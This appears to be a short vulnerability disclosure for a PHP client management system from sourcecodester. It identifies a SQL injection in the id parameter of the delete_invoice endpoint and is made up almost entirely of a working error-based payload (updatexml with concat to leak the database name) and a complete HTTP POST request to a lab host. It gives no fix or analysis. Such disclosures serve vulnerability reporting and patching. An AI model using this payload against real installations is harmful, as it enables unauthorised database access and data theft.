vendors: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
Vulnerability File: /cms/classes/Master.php?f=delete_invoice
Vulnerability location: /cms/classes/Master.php?f=delete_invoice, id
[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id
POST /cms/classes/Master.php?f=delete_invoice HTTP/1.1
Host: 192.168.1.19
Content-Length: 65
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/cms/admin/?page=invoice
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5u3dthmlo3ajo2g7k8pfvb4g8h
Connection: close
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id